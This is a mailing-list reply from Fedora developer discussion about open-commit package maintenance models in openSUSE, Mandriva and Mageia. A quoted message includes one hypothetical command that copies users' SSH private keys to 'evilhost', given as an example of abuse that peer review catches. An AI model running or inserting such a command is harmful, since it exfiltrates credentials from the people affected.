Question about "what to do if mantainer is absent"

[Michael Scherer]

Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit :
> On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
> > On Tue, 14 May 2013 20:03:41 -0500
> > Michael Catanzaro <mike.catanzaro at gmail.com> wrote:
> > 
> > > Well the open model has already been tried and proven in openSUSE, and
> > > they're still using it because it actually works really well.  There
> > > aren't usually any issues regarding overlap of work, though admittedly
> > > that community is a smaller than Fedora's. It's hard to get away with
> > > scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed
> > > by a small group of maintainers responsible for a collection of
> > > packages.
> > 
> > How do they deal with a conflict? Imagine someone there splitting
> > texlive into 2500 subpackages and then 100 angry contributors
> > reverting it. What are they going to do in their "open" model then?
> 
> FWIW, Mandriva used a similar open-commit model - compared to Fedora,
> basically all packagers were proven packagers and could commit to almost
> anything, a small range of packages were 'protected' as they are in
> Fedora - and I don't recall any significant issues like this actually
> popping up. In general, if you give F/OSS people a collaborative system,
> they will work collaboratively. It seems pessimistic to assume that
> people would get into edit wars just because they disagreed.

We did have issues, but having a more exclusive model wouldn't have
changed anything to that, and would indeed have slowed down the
distribution.
People who cannot work in a collaborative fashion will cause issues with
or without rules.

> It would be true to say that the Mandriva package corpus overall was on
> average of somewhat lower quality, in terms of conforming to the distro
> guidelines, than Fedora's is, but I don't think that can be attributed
> to the collaborative model so much as to a simple lack of sufficient
> personpower. If anything it would have been *worse* without motivated
> packagers being able to go through the whole package base and fix up
> problems.

The problem was more the lack of will to clean the package base. Each of
my attempt to remove packages was met with some resistance, and there
was no review on first commit, so some people were happy to push _lots_
of crappy package and then disappear. And people were too busy to clean,
or to detect what is broken and remove it. 


> (Probably the extant Mandriva forks still use such a model, but I'm not
> really involved in any of them so I can't say for sure.)

Yep mageia still do, even if there is a greater focus on automate
testing for broken deps, etc and a community who was more understanding
the issue than before.

Given the expectation in term of package numbers from users, and the
size of the community at that time, that was ( and still is ) the only
scalable model for Mageia project, and also the easiest to set up, as
using a team system like Opensuse or Debian would have required more
efforts, both on governance side and build system side, and since no one
did the governance part, patches for build system didn't appear ( hard
to code when there is no specification )

-- 
Michael Scherer